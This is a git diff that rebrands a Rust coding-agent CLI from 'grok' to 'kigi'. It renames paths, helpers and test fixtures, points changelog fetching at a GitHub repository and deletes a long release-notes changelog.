         assert!(!out.contains("xyz789"), "state leaked: {out}");
     }
 
     #[test]
     fn url_regex_excludes_trailing_punctuation() {
-        let out = redact_secrets("see `https://x.ai/cb?code=ABCD12345`");
+        let out = redact_secrets("see `https://kimi.com/cb?code=ABCD12345`");
         assert!(out.ends_with('`'), "trailing backtick lost: {out}");
     }
 
diff --git a/crates/codegen/kigi-shared/src/clipboard.rs b/crates/codegen/kigi-shared/src/clipboard.rs
index 4d5394c..29ab7e3 100644
--- a/crates/codegen/kigi-shared/src/clipboard.rs
+++ b/crates/codegen/kigi-shared/src/clipboard.rs
@@ -767,9 +767,9 @@ mod platform {
     {
         let temp_dir = std::env::temp_dir();
         (
-            temp_dir.join("grok-clipboard-probe.png"),
-            temp_dir.join("grok-clipboard-probe.tiff"),
-            temp_dir.join("grok-clipboard-probe.jpg"),
+            temp_dir.join("kigi-clipboard-probe.png"),
+            temp_dir.join("kigi-clipboard-probe.tiff"),
+            temp_dir.join("kigi-clipboard-probe.jpg"),
         )
     }
 
@@ -2713,7 +2713,7 @@ mod tests {
     #[test]
     #[ignore]
     fn round_trip() {
-        let sentinel = format!("grok-clipboard-test-{}", std::process::id());
+        let sentinel = format!("kigi-clipboard-test-{}", std::process::id());
         set_text(&sentinel).expect("set_text failed");
         let got = get_text().expect("get_text failed");
         assert_eq!(got.as_deref(), Some(sentinel.as_str()));
diff --git a/crates/codegen/kigi-shared/src/ui_config.rs b/crates/codegen/kigi-shared/src/ui_config.rs
index 79b1412..93ca2bb 100644
--- a/crates/codegen/kigi-shared/src/ui_config.rs
+++ b/crates/codegen/kigi-shared/src/ui_config.rs
@@ -81,7 +81,7 @@ pub struct UiConfig {
     /// settings modal; unset defaults to `hold`.
     #[serde(default, skip_serializing_if = "Option::is_none")]
     pub voice_capture_mode: Option<String>,
-    /// Speech-to-text language preference for voice dictation. A Grok STT
+    /// Speech-to-text language preference for voice dictation. A Kigi STT
     /// catalog code (`en`, `es`, `ja`, … — see xAI STT supported languages) or
     /// `auto` (system locale, resolved at connect). Written by the settings
     /// modal; unset leaves `[voice].language` / default `en`. When set, overrides
diff --git a/crates/codegen/kigi-shell-base/Cargo.toml b/crates/codegen/kigi-shell-base/Cargo.toml
index 7276a13..9dff97f 100644
--- a/crates/codegen/kigi-shell-base/Cargo.toml
+++ b/crates/codegen/kigi-shell-base/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-shell-base"
 version.workspace = true
 edition.workspace = true
-description = "Foundation modules for the grok shell crate family: environment presets, CPU profiling, and process/filesystem utilities."
+description = "Foundation modules for the kigi shell crate family: environment presets, CPU profiling, and process/filesystem utilities."
 
 [features]
 # CI default set: builds a single shared rlib per crate, so downstream test
diff --git a/crates/codegen/kigi-shell-base/src/lib.rs b/crates/codegen/kigi-shell-base/src/lib.rs
index 0509e64..7447d4b 100644
--- a/crates/codegen/kigi-shell-base/src/lib.rs
+++ b/crates/codegen/kigi-shell-base/src/lib.rs
@@ -1,4 +1,4 @@
-//! Foundation modules shared by the grok shell crate family. Extracted from
+//! Foundation modules shared by the kigi shell crate family. Extracted from
 //! `kigi-shell` (which re-exports them at their original paths) so they
 //! build in parallel and stop rebuilding on shell edits.
 
diff --git a/crates/codegen/kigi-shell-base/src/util/changelog.rs b/crates/codegen/kigi-shell-base/src/util/changelog.rs
index 1f59b4b..b73a0cd 100644
--- a/crates/codegen/kigi-shell-base/src/util/changelog.rs
+++ b/crates/codegen/kigi-shell-base/src/util/changelog.rs
@@ -1,7 +1,7 @@
 //! Changelog fetching from CDN with local disk cache.
 //!
 //! Both markdown (`*.external.md`) and JSON (`*.external.json`) changelogs
-//! are published per-version to the CDN at `x.ai/cli/changelogs/`.
+//! are published per-version alongside the Kigi GitHub distribution.
 //!
 //! `ChangelogManager::fetch()` retrieves both formats in parallel and
 //! returns a `Changelog` with optional markdown + structured entries.
@@ -11,8 +11,11 @@
 
 use std::path::PathBuf;
 
-/// CDN base for all changelogs (proxies to GCS, cache-friendly).
-const CHANGELOG_BASE: &str = "https://x.ai/cli/changelogs";
+/// Base URL for published changelogs. Kigi distributes via GitHub, so
+/// per-version changelogs live in the release repository. Unreachable or
+/// missing files degrade gracefully to the on-disk cache (see `fetch_with`).
+const CHANGELOG_BASE: &str =
+    "https://raw.githubusercontent.com/ZacharyZhang-NY/Kigi-CLI/main/changelogs";
 const FETCH_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(3);
 
 /// A single structured changelog entry from the published JSON changelog.
@@ -258,7 +261,7 @@ mod tests {
     #[test]
     fn offline_mode_reads_seeded_disk_cache_only() {
         let tmp = tempfile::tempdir().unwrap();
-        let home = tmp.path().join("grok-home");
+        let home = tmp.path().join("kigi-home");
         std::fs::create_dir_all(&home).unwrap();
         std::fs::write(home.join("CHANGELOG.md"), "# seeded offline md\n").unwrap();
         std::fs::write(
@@ -282,7 +285,7 @@ mod tests {
     #[test]
     fn cdn_miss_falls_back_to_env_home_disk_cache() {
         let tmp = tempfile::tempdir().unwrap();
-        let home = tmp.path().join("grok-home-fallback");
+        let home = tmp.path().join("kigi-home-fallback");
         std::fs::create_dir_all(&home).unwrap();
         std::fs::write(home.join("CHANGELOG.md"), "# fallback md\n").unwrap();
 
diff --git a/crates/codegen/kigi-shell-base/src/util/mod.rs b/crates/codegen/kigi-shell-base/src/util/mod.rs
index 6084524..91a984a 100644
--- a/crates/codegen/kigi-shell-base/src/util/mod.rs
+++ b/crates/codegen/kigi-shell-base/src/util/mod.rs
@@ -166,14 +166,14 @@ pub fn kill_process_by_pid(pid: u32) -> std::io::Result<()> {
         terminate.map_err(|e| std::io::Error::other(format!("TerminateProcess({pid}): {e}")))
     }
 }
-/// True if `pid` is a grok process; pairs with [`kill_process_by_pid`] to avoid killing a recycled PID.
+/// True if `pid` is a kigi process; pairs with [`kill_process_by_pid`] to avoid killing a recycled PID.
 /// Best-effort on macOS/BSD (liveness-only via `kill -0`), exact on Linux (/proc cmdline) and Windows (image path).
-pub fn is_grok_process(pid: u32) -> bool {
+pub fn is_kigi_process(pid: u32) -> bool {
     #[cfg(target_os = "linux")]
     {
         let cmdline_path = format!("/proc/{pid}/cmdline");
         match std::fs::read(&cmdline_path) {
-            Ok(data) => String::from_utf8_lossy(&data).contains("grok"),
+            Ok(data) => String::from_utf8_lossy(&data).contains("kigi"),
             Err(_) => false,
         }
     }
@@ -205,7 +205,7 @@ pub fn is_grok_process(pid: u32) -> bool {
         }
         String::from_utf16_lossy(&buf[..size as usize])
             .to_ascii_lowercase()
-            .contains("grok")
+            .contains("kigi")
     }
     #[cfg(all(not(target_os = "linux"), not(windows)))]
     {
@@ -229,7 +229,7 @@ mod tests {
     }
     #[test]
     fn test_is_production_coding_api_url_rejects_public_api() {
-        assert!(!is_production_coding_api_url("https://api.x.ai/v1"));
+        assert!(!is_production_coding_api_url("https://byok.example/v1"));
     }
     #[test]
     fn test_is_production_coding_api_url_rejects_spoofed_hostname() {
@@ -248,7 +248,7 @@ mod tests {
     }
     #[test]
     fn test_is_effective_coding_endpoint_url_rejects_remote_third_party() {
-        assert!(!is_effective_coding_endpoint_url("https://api.x.ai/v1"));
+        assert!(!is_effective_coding_endpoint_url("https://byok.example/v1"));
         assert!(!is_effective_coding_endpoint_url(
             "https://localhost.evil.example/v1"
         ));
@@ -264,7 +264,7 @@ mod tests {
         assert!(is_first_party_url(
             "https://api.kimi.com/coding/v1/chat/completions"
         ));
-        assert!(!is_first_party_url("https://api.x.ai/v1"));
+        assert!(!is_first_party_url("https://byok.example/v1"));
         assert!(!is_first_party_url("https://api.openai.com/v1"));
         assert!(!is_first_party_url("https://api.anthropic.com/v1"));
         assert!(!is_first_party_url("https://api.kimi.com.evil.example/v1"));
@@ -310,8 +310,8 @@ mod tests {
         );
     }
     #[test]
-    fn is_grok_process_self_true_impossible_pid_false() {
-        assert!(is_grok_process(std::process::id()));
-        assert!(!is_grok_process(u32::MAX));
+    fn is_kigi_process_self_true_impossible_pid_false() {
+        assert!(is_kigi_process(std::process::id()));
+        assert!(!is_kigi_process(u32::MAX));
     }
 }
diff --git a/crates/codegen/kigi-shell/CHANGELOG.md b/crates/codegen/kigi-shell/CHANGELOG.md
deleted file mode 100644
index 565e4b8..0000000
--- a/crates/codegen/kigi-shell/CHANGELOG.md
+++ /dev/null
@@ -1,4853 +0,0 @@
-# Changelog
-
-# 0.2.101 — 2026-07-13
-
-## Features
-
-- **grok inspect** now shows effective compatibility settings for Cursor, Claude, and Codex sessions.
-- **New setting** "Match display refresh rate" lets high-refresh displays run the TUI at native cadence.
-
-## Bug Fixes
-
-- **Parked subagent status** no longer duplicates or interleaves incorrectly in scrollback.
-- **Status line** during waits now shows elapsed time before the queued-message hint.
-- **Queued messages sent with Enter** now appear immediately instead of vanishing briefly.
-- **Resume hint** after quitting minimal mode now prints the correct grok --minimal --resume command.
-- **Rate-limit messages** now correctly direct API-key users to team plans instead of personal upgrades.
-
-
-# 0.2.100 — 2026-07-13
-
-## Features
-
-- **Session picker** now discovers and resumes recent Claude Code, Codex, and Cursor sessions.
-- **Welcome screen** now offers a one-click resume nudge for recent Claude, Codex, or Cursor sessions.
-
-## Bug Fixes
-
-- **Web fetch tool** preserves full truncated page content as readable artifacts instead of discarding it.
-- **Multiline mode** now correctly sends the top queued message on empty Enter when a turn is running.
-- **Queued commands** no longer disappear or delay when pressing Enter twice quickly during a running turn.
-- **Minimal mode** text is now readable on dark terminals with proper contrast and highlighted user prompts.
-- **Grok no longer crashes** when printing resume hints after the terminal pane has closed.
-- **Long-running turns** with multiple waits now show updated status markers in the transcript instead of appearing stuck.
-- **Claude and Cursor hooks** are now correctly disabled at session start when disabled in config.
-
-
-# 0.2.99 — 2026-07-12
-
-## Features
-
-- **Multiline input** now works on the agent dashboard the same way it does in regular sessions.
-- **PageUp and PageDown** now scroll the conversation while the prompt is focused.
-- **Keyboard Shortcuts** modal now follows Vim mode navigation keys when enabled.
-
-
-# 0.2.98 — 2026-07-12
-
-## Breaking Changes
-
-- You can now pin authentication to API key or OIDC in config.toml; the unpinned method is no longer tried automatically.
-
-## Features
-
-- **`/context`** now shows token costs for skills and MCP servers.
-- **`env_key`** in config now accepts an array of environment variable names.
-- Linux middle-click paste from the primary selection now works; clipboard errors are handled more reliably.
-- **/terminal-setup** now shows your terminal's color support level and which themes are available.
-- **grok setup --json** prints your team's managed configuration without installing it.
-- Messages you type while the model waits on tasks now stay queued; pressing Enter twice sends them immediately by cancelling the current turn.
-- **How-to Guides** modal now shows a tip linking to Ask Grok above the footer shortcuts.
-- **Subagent** `task` and `spawn_subagent` tools now accept an optional `model` parameter in the CLI.
-- **Keyboard Shortcuts** modal now lists the paste key binding for images under the Input section.
-
-## Bug Fixes
-
-- A `pre_tool_use` deny now feeds the reason back so the model can retry instead of cancelling the turn.
-- Plan mode now strictly rejects edits outside the plan file, even under always-approve.
-- **Web search** and X search no longer fail when both a local function tool and the backend hosted tool are active.
-- **Content-filter refusals** from providers now show an explanation instead of ending silently with no output.
-- **SQLite databases** no longer cause bus errors on network filesystems such as NFS.
-- **Resuming** a session that is already open now focuses the existing view instead of creating duplicates.
-- **Turn completion** markers in scrollback now read "Worked for …" instead of "Turn completed in …".
-- **/btw** loading spinner now animates correctly when the main session is idle.
-- **Mid-turn** wait spinners now correctly show "Waiting on task output…" instead of Thinking.
-- **Scrollbar thumb** is now visible in the oscura-midnight theme.
-- Status messages for background work now end with a period.
-- **Editing queued prompts** no longer freezes the terminal or duplicates text into the composer.
-
-
-# 0.2.97 — 2026-07-11
-
-## Features
-
-- **Headless JSON output** now includes token usage and cost per prompt and session.
-- **SDK turns** now expose detailed token usage and cost information via Turn.usage.
-- **Double-click or Enter** on a previous user message now lets you edit and resubmit it directly from the transcript.
-- **Text selection** in scrollback now works better when starting on chrome, gaps, or while scrolling.
-- **Shell commands using `rg`** (ripgrep) no longer require permission prompts by default.
-- **Voice mode** is now available for API-key sessions.
-- **New environment variables** allow tuning scroll and draw cadence for high-refresh displays.
-
-## Bug Fixes
-
-- **Background tasks** started by the model in headless mode are now killed on exit instead of leaking.
-- **Agent process leaks** on failed spawns and missing-stdio teardown are now prevented.
-- **Parked turn markers** no longer appear after interjections and now count down as background tasks finish.
-- **The /context** tool definitions line no longer shows the cryptic disclaimer suffix.
-- **Terminal release** waits boundedly for the process to exit and repeated waits share the drain grace.
-- **Fixed a crash** when the agent asked a question on narrow terminals.
-- **Fixed misleading keyboard hints** in the /mcps panel in minimal mode.
-- **Clipboard copy** now reports success correctly when using iTerm2 over SSH.
-- **Fixed scroll/input conflicts** when plan approval appeared over an open edit block.
-- **Fixed frequent MCP and skills reloads** that could freeze sessions on devboxes.
-- **MCP servers using HTTP** (such as streamable HTTP MCP servers) now automatically recover from disconnects.
-- **Next reset time** in /usage now shows in your local timezone instead of Pacific Time.
-
-
-# 0.2.96 — 2026-07-10
-
-## Features
-
-- **System notifications** now carry structured kind/title/body for better rendering.
-- **x.ai/pr/status** now reports whether an open PR is in the merge queue.
-- **Compact mode** now activates automatically on very small terminals.
-- **Up arrow** on an empty prompt now browses prompt history; `/history` searches it.
-- **Stop hook runs** now appear inline on the turn-completed line instead of a separate block.
-- **Subagent rows** now fold into verb-group headers and the tasks pane shows live activity labels.
-- **Dashboard shortcuts** now advertise ? instead of Ctrl+. on terminals that cannot deliver the latter.
-- **Double-clicking** scrollback while Text selection is fold/nav now shows a tip offering Ctrl+Y to enable Word select.
-- **`grok worktree ls`** now works as a short alias for `grok worktree list`.
-- **MCP tool output truncation** can now be set per-repo in `.kigi/config.toml`.
-- **Auto-send of queued follow-ups** during task waits can now be enabled fleet-wide via remote settings.
-- **Welcome screen** now offers one-click resume of a recent Claude Code session via ctrl+u.
-
-## Bug Fixes
-
-- **Vim `l` key** now opens the selected agent detail view in the dashboard.
-- **Terminal commands** with no args now run through a shell, matching the CLI.
-- **Agent teardown** no longer crashes on slim Linux images that lack the ps command.
-- **Esc** now dismisses an open /btw panel before backing out of a dashboard overlay.
-- **Resumed grok.com chats** now use the conversation's last model instead of the gateway default.
-- **JetBrains terminals on Windows** now default to minimal mode to avoid raw mouse-report leaks in the prompt.
-- **Skill token highlights** now survive line wraps and the slash menu opens when typing / before existing text.
-- **Truncated or tiny images** are now dropped before sending and previously poisoned sessions self-heal on restart.
-- **Session switch hints** after `/new` or fork now show the working command in minimal mode.
-- **Progress bars** in Ghostty and WezTerm now stop correctly for parked task waits.
-- **`/effort`** now rejects levels the current model does not support instead of sending a bad value to the API.
-- **`/recap`** on a fresh session now says "No messages yet" instead of failing.
-- **Monitor and system messages** no longer appear as user prompts when resuming old sessions.
-- **`/rewind`** completion now appears as a brief toast instead of a permanent transcript line.
-- **Auto recaps** no longer appear under a newer user message when you start typing again.
-- **Authentication retries** after token refresh no longer hang for minutes or days.
-- **Text selection tip** no longer appears on the first double-click or on non-assistant blocks.
-- **Skill slash commands** queued while a turn runs can now be sent immediately with Enter or the interject chord.
-- **Drag text selection** now works inside the dashboard dispatch input box.
-- **Multi-line paste chips** in dashboard inputs now support preview and expand like the main prompt.
-- **Live previews** now always fetch the latest content without browser or CDN caching.
-
-
-# 0.2.95 — 2026-07-09
-
-## Features
-
-- **Teams** can now ship default allowed commands via managed_config.toml (user deny rules still win).
-- **Mid-turn interjections** now appear as normal user prompts (❯) instead of a separate cyan block.
-
-## Bug Fixes
-
-- **IME text input in Otty** no longer attaches unrelated clipboard images on every character.
-- **Rewind** now fully removes the selected turn from both scrollback and the model's conversation history.
-- **Queued prompts** now abort long blocking waits instead of waiting for the full timeout.
-- **File links and media** now work for worktree sessions under ~/.kigi/worktrees/.
-- **Collapsed Read/Edit tool rows** now show only the filename instead of long absolute paths.
-- **Clipboard copies on Wayland** now succeed even when the terminal loses focus mid-copy.
-- **User messages queued** behind an auto-wake turn are no longer lost when the user presses Ctrl+C.
-- **Slash completion** now shows sibling skills that share a frontmatter name and correctly sizes wrapped descriptions.
-- **Single tool calls** that belong to a verb group now collapse into an aggregated header row.
-- **Fixed sessions** that became permanently stuck after tool-use history corruption.
-- **/always-approve** and **/auto** now toggle their mode on and off when run repeatedly.
-- **Terminal command cards** on grok.com now correctly settle after foreground bash tasks.
-- **Copy failure** toast now recommends trying /minimal for native terminal rendering.
-
-## Performance
-
-- **File watching** on Linux now uses far fewer system resources for large projects with many dependencies.
-
-
-# 0.2.94 — 2026-07-09
-
-## Features
-
-- **/sessions** now opens the Agent Dashboard instead of a separate picker.
-- **New /goal <objective>** slash command** is now available when the workspace supports it.
-- **grok inspect** now lists skills from [skills].paths and correctly labels bundled vs user skills.
-- **--minimal** and **--fullscreen** choices are now remembered for future plain grok launches.
-
-## Bug Fixes
-
-- **Queued bash commands** promoted at turn end now render their output instead of disappearing.
-- **Xcode / Foundation ACP clients** can now drive grok agent stdio without silent parse drops on session/* calls.
-- **read_file** now returns full single-line content (minified JSON, large dumps) instead of silently clipping at 2000 characters.
-- **Background task** command preambles with newlines now render on separate lines instead of collapsing.
-- **Text selections** now highlight uniformly even over inline code, links, and syntax-colored spans.
-- **grok --minimal** now supports native drag-select on classic Windows conhost terminals.
-- Skill tokens such as /pr-workflow are now highlighted teal when used mid-sentence.
-- Fixed a crash when a filtered list shrinks while the filter is active.
-- Scroll lines and scroll speed settings now support fine unit-step adjustments.
-- Project-specific Claude plugins are no longer visible outside their project directory.
-- First prompt no longer stalls for many seconds on large repositories while the filesystem watcher starts.
-
-
-# 0.2.93 — 2026-07-08
-
-## Breaking Changes
-
-- **Esc** no longer cancels a running turn; use **Ctrl+C** instead. Double-Esc rewind now works while focused on scrollback.
-
-## Features
-
-- MCP permission prompts now show the planned arguments so you can judge what the tool will actually do.
-- The "Managed by grok.com" link in the Extensions modal is now clickable and underlined.
-- Dragging inside rendered markdown tables now selects whole cells or rectangular ranges and copies as TSV.
-- Shift+Tab now goes straight to Plan mode when the plan-mode tip is showing.
-
-## Bug Fixes
-
-- **grok --minimal** now aligns the prompt, status bar, and messages flush-left with the welcome card.
-- **/plugins** no longer lists never-installed Claude marketplace entries and now groups plugins by their real source.
-- Successful image compression no longer leaves a permanent line in the transcript.
-- **--no-ask-user** now also disables ask_user_question for subagents.
-- **--no-ask-user** now also disables ask_user_question for subagents.
-- **Fixed a crash** shortly after launch on some systems caused by the telemetry exporter.
-
-
-# 0.2.92 — 2026-07-08
-
-## Features
-
-- **/minimal** and **/fullscreen** commands let you switch the current session between minimal and fullscreen modes.
-- **ask_user_question tool** can now be enabled or disabled via config.toml, environment variables, or remote flags while defaulting to on.
-
-## Bug Fixes
-
-- **User-run shell commands** now display their complete output after finishing instead of silently dropping middle lines.
-- **Edit tool output** now correctly highlights multi-line strings and scopes that previously spilled across hunks.
-- **Always allow** grants for MCP, web_fetch and bash now take effect immediately in auto mode without re-prompting.
-- **Cmd/Ctrl+click** on bare http(s) links now opens only once on Warp terminals.
-- **Cmd/Ctrl+click** now works on imagine media paths and URLs that wrap across multiple terminal rows.
-- **grok update** on Windows no longer fails when a previous.old executable is still running.
-
-## Performance
-
-- **Pasting images** on macOS is now ~65× faster by reading the pasteboard directly instead of via osascript.
-
-
-# 0.2.91 — 2026-07-07
-
-## Bug Fixes
-
-- **Voice dictation indicator** and stop button now remain visible and clickable during plan mode review.
-- **New Worktree dialog** now expands to show long names and scrolls with a leading … when the terminal is narrow.
-
-# 0.2.90 — 2026-07-07
-
-## Features
-
-- **New /minimal and /fullscreen slash commands** let you switch the current session between minimal and fullscreen modes without quitting.
-- **Session titles** from /rename now appear on the prompt box border after resume.
-- **grok models** banner now correctly reports per-model API keys and deployment keys.
-- MCP tool output size limit is now configurable via environment variable, config.toml, or remote settings (default unchanged).
-- Chat conversations listed in the unified sidebar can now be renamed or deleted from the desktop app.
-- You can now add a local directory as a plugin marketplace source with `grok plugin marketplace add`.
-- **Auto permission mode** now prompts far less often on routine development commands.
-- Short media paths the model prints (images/1.jpg) are now clickable and open the file.
-- **Preview** now prefers common dev ports like 8080 when multiple HTTP servers are detected.
-
-## Bug Fixes
-
-- **Model list now refreshes** after upgrading from a free to a paid subscription tier.
-- **Extensions modal** now shows clearer enable/disable and install hints that match what each key actually does.
-- **Folder trust** no longer prompts for or scans the entire home directory when it is a git repo.
-- **Code blocks** no longer lose their background shading on the final line of unterminated fences.
-- **Plan mode** now activates immediately when toggled during an active turn instead of waiting for the next prompt.
-- Clicking back into the terminal window now focuses the prompt immediately when a permission or plan-approval panel is waiting.
-- Paths the model emits inside quotes no longer end with literal backslash-n characters and cause file-not-found errors.
-- **Next reset** time shown by /usage is now correct during daylight saving time.
-- The ask-user-question tool now waits up to 30 minutes by default before timing out.
-- The free-usage paywall no longer offers a Try Again button.
-- Inline images no longer bleed through when entering or leaving the fullscreen subagent view.
-- The [Open Image] button under generated media is now colored like a link.
-- **Preview routing** now auto-selects well-known ports like 8080 even with framework signals on obscure ports.
-- **Login screen** now centers the authentication URL when it fits on one line.
-- **Enter key** now queues follow-ups by default while the agent waits on task output.
-
-
-# 0.2.89 — 2026-07-07
-
-## Features
-
-- **Voice dictation** now works on Linux (requires pipewire, pulseaudio-utils or alsa-utils).
-- **New /auto slash command** switches to classifier permission mode; the menu now shows only the other mode.
-- **--effort** and **--reasoning-effort** are now interchangeable CLI flags for setting reasoning effort.
-- **Image edits** now use the higher-quality Imagine model for better output.
-
-## Bug Fixes
-
-- **Try Again** on the free-usage paywall now correctly resubmits after rate-limit retries.
-- **Cursor** now respects your terminal's default blink style instead of always blinking.
-- **Skill commands** in scrollback now highlight only the command name, not the arguments.
-- **Plan files** now default to.kigi/plan.md to match Grok conventions.
-- **LaTeX math** renders correctly for display equations and complex subscripts.
-- **Queue hint** in the terminal no longer shows incorrect bold text on part of the message.
-
-## Performance
-
-- **Git operations** like rebase no longer cause long pauses from repeated full-repo scans.
-
-
-# 0.2.88 — 2026-07-06
-
-## Features
-
-- **Scrolling** feels smoother with better trackpad and wheel handling plus configurable speed and mode.
-- **Session search** now returns tighter multi-word results and handles filenames and plurals better.
-- **Session picker** now always searches conversation content for queries of two or more characters.
-- **Tool call grouping** is now enabled by default, folding consecutive reads and searches into single rows.
-- **Plugins tab** now supports `u` to update the selected plugin and shows non-blocking success feedback.
-- **Reasoning effort** used for a session is now recorded in summary.json and conversation history.
-
-## Bug Fixes
-
-- **Session content search** now correctly indexes messages containing escape sequences like newlines and quotes.
-- **Formatted links** now keep their link color when wrapped in bold, italic, or strikethrough.
-- **Resuming sessions** no longer fails permanently when history files contain corrupted lines from interrupted writes.
-
-
-# 0.2.87 — 2026-07-05
-
-## Features
-
-- **Subscription upgrades** are now detected automatically without restarting the CLI.
-- **Bash permission prompts** now offer a "Never allow" choice that persists the deny rule.
-- **New `/docs` slash command** opens How-to Guides picker, browses web docs, or jumps directly to a guide by title.
-- **Per-model reasoning effort menus** are now configurable from the server and config.toml without a client release.
-- **Finished thinking blocks** now fold into grouped tool-call rows when group_tool_verbs is enabled.
-
-## Bug Fixes
-
-- **--minimal** mode now always uses your terminal's own colors so text stays readable on any background.
-- **Invalid fields** in [model.*] config blocks no longer cause the whole model to disappear from the picker.
-- **File tools** no longer target paths with literal trailing newlines or whitespace from model output.
-- **Fixed interactions** in no-freeform question modals so clicks below the last option no longer enter input mode.
-- **Background tasks** now correctly wake the agent after a cancelled blocking wait instead of staying idle.
-- **Copying quoted text** from rendered responses no longer includes the quote bar prefix in pretty mode.
-
-# 0.2.86 — 2026-07-04
-
-## Features
-
-- **Voice language** setting now lets you pick speech-to-text language (including System) in the Editor settings.
-- **Tab autocomplete** now suggests your next prompt as ghost text after each turn.
-- **/usage** (and /cost) is now hidden for free and X Basic personal accounts.
-- **Media generation** no longer hits per-session file limits; image and video byte budgets increased.
-
-## Bug Fixes
-
-- **--minimal** flag now shows in `grok --help`.
-- **Session resume notifications** no longer appear when a workspace boots for the first time.
-- **Claude-style Bash(cmd:*)** permission rules are now correctly translated to prefix matches.
-
-
-# 0.2.85 — 2026-07-03
-
-## Features
-
-- **Pressing Enter** on an empty prompt now sends the top queued follow-up immediately while a turn is running.
-- **Tool call grouping** can now be enabled via config.toml or settings to collapse consecutive read/search/list calls.
-- **Consecutive tool calls** of the same kind can now be folded into a single row when group_tool_verbs is enabled.
-- **Subagent conversations** now receive the same type-specific instructions in gateway chat as in the CLI.
-- **Scheduled automation tasks** now show their header panel correctly in gateway chat sessions.
-- **Promotional announcements** now appear with clickable CTAs and can be non-dismissible.
-- **Subagents** now run in the background by default unless explicitly set to false.
-
-## Bug Fixes
-
-- **Permission prompts** now correctly wrap long bash commands while preserving structure and quotes.
-- **Claude Code settings** with permissions.defaultMode are now correctly honored.
-- **Project skills and commands** are now discovered even when their directories are gitignored.
-- **Inline LaTeX math** with padding spaces now renders correctly instead of showing raw dollar signs.
-- **Manual /recap** now works on the same turn and long auto recaps are hidden from view while still saved.
-- **Always allow** for common commands like ls and git status now remembers just the command instead of extra arguments.
-
-
-# 0.2.84 — 2026-07-03
-
-## Features
-
-- **Announcements** now update live during active sessions without restart or `/new`.
-- **Hiding** an announcement no longer suppresses later criticals; new ones reappear automatically.
-- **run_terminal_cmd** now requires a one-sentence `description` rationale in every invocation.
-- **ask_user_question** timeout policy is now configurable in config.toml and `/settings`.
-- **Ask-Question timeout** can now be toggled from `/settings` (Agent & Approval).
-- **Thinking/reasoning blocks** are now shown by default while the model is working.
-- **Critical announcements** now show a red title with a clickable [hide] button and aligned message.
-- **Added remote_fetch option** under [features] in config.toml to disable all backend catalog and settings fetches for air-gapped environments.
-
-## Bug Fixes
-
-- **Images** pasted or read from GIF, BMP or TIFF files are now automatically converted so they work with image generation.
-- **Queue panel** now shows action buttons on hover and the status bar displays a compact done/total task count.
-- **Hook matchers** now correctly see the real MCP tool name instead of the internal dispatcher name.
-- **Copy** now succeeds when running inside containers even when the terminal brand cannot be detected.
-- **Tool result previews** no longer paint opaque panels in `grok --minimal`.
-- **grok wrap** now correctly handles quoted strings and shell aliases.
-- **Text selection** settings now correctly honor explicit keep_text_selection values even when legacy keys remain.
-- **Fixed a freeze** that could occur when editing and sending the last message in the queue.
-- **Fixed a startup crash** on minimal Linux systems lacking system CA certificates.
-
-## Performance
-
-- **Grep** now stops early on broad searches, returning faster results with far less memory use.
-- **Idle CPU and memory** usage after long sessions or resume is now dramatically lower.
-
-
-# 0.2.83 — 2026-07-02
-
-## Features
-
-- **Critical announcements** now appear in a top banner during active sessions with a hide command.
-- **Pasting the same text again** next to a paste chip now expands the chip into editable text instead of duplicating it.
-- **Paste preview** now shows a hint explaining how to expand the chip.
-
-
-# 0.2.82 — 2026-07-02
-
-## Features
-
-- **Managed connectors links** now include the team ID when opening from a team session.
-- **AGENTS.md files** are now discovered and shown for workspace/hub sessions.
-- **Chat conversation titles** from the gateway are now shown in the sidebar.
-- New `/effort` slash command changes reasoning effort on the active model.
-- Double-click a pasted text chip to expand it into editable text.
-
-## Bug Fixes
-
-- **Skill descriptions** are now recovered correctly even when frontmatter YAML is malformed.
-- **[Esc] hint** in /btw panels now stays visible even on narrow terminals.
-- **Background monitors** now wake the agent on natural exit the same way bash tasks do.
-- Long option labels in question prompts are now always visible instead of disappearing when unfocused.
-- Pasted text preview now appears immediately after inserting a paste chip.
-- Hex color codes now render as colored dots with no extra space.
-- Pressing voice on the welcome screen now starts a new session.
-
-# 0.2.81 — 2026-07-01
-
-## Features
-
-- **Chat sessions** no longer send workspace binding hints that belong to the backend.
-- **New stream transforms** let hosts hide, unwrap, or rewrite tool calls for display without affecting agent transcripts.
-- **cancel()** now accepts a timeout so a stuck turn cannot hang the session forever.
-- **Run tool blocks** now show the model's description as the main title when provided.
-- **Hex color codes** in prose now render as colored dots on truecolor terminals.
-- **New setting** "Show thinking blocks" controls whether agent reasoning is visible in the scrollback.
-- **Spinners** now show the description or short command of the task being waited on when available.
-
-## Bug Fixes
-
-- **Fixed sessions** that remained stuck on the thinking indicator after the model finished responding.
-- **Mermaid diagrams** now correctly display angle brackets and symbols instead of literal HTML entities in labels.
-- **Recap requests** no longer trigger context-length 400 errors on long conversations.
-
-## Performance
-
-- **Grep searches** now time out after 20 seconds by default (60s on WSL) instead of always waiting 60s.
-
-# 0.2.80 — 2026-07-01
-
-## Features
-
-- **Command timeouts** can now be configured per-session with a foreground-only ceiling.
-- **Background tasks and TODO lists** now survive compaction and remain visible to the model.
-- **Voice dictation** STT feature: uses Ctrl+Space or F8, with optional hold-to-talk on supported terminals.
-- **Contextual hints** can now be toggled individually for undo, plan mode, and image input.
-
-## Bug Fixes
-
-- **Subagent dialogs** now reliably show full transcripts on open and reopen.
-- **Recap blocks** now copy only the summary body, not the header label.
-- **Vim navigation keys** now type into dashboard prompts; modals properly handle Esc/Left.
-
-## Performance
-
-- **Network connections** are now more resilient to proxy/LB drops.
-
-# 0.2.79 — 2026-06-30
-
-## Features
-
-- **Contextual hints** now show shortcuts like plan mode or clipboard paste when relevant.
-- **Graceful shutdowns** now allow interrupted turns to resume with a configurable pause budget.
-- **Grok.com chat sessions** now integrate fully with the gateway bridge for model catalog and resume.
-
-## Bug Fixes
-
-- **Question prompts** now time out after 6 minutes instead of blocking forever.
-- **Fixed a crash** that could occur during conversation integrity repairs while a turn was active.
-
-## Performance
-
-- **Compaction** can now run part of its work in the background before it blocks the session.
-
-# 0.2.78 — 2026-06-30
-
-## Features
-
-- **Chat sessions show the grok.com model catalog** in the picker.
-
-## Bug Fixes
-
-- **Tabs pasted into the prompt** now align correctly with proper cursor positioning.
-- **Pasting images into dashboard peek replies** now works and survives turn cancellation.
-- **Links in /btw panels** are now clickable and highlight on hover.
-- **Prompt history is now saved** even on fast Ctrl+C quit.
-- **Stuck scrollback text selection** can now be cleared with Esc or any non-drag input.
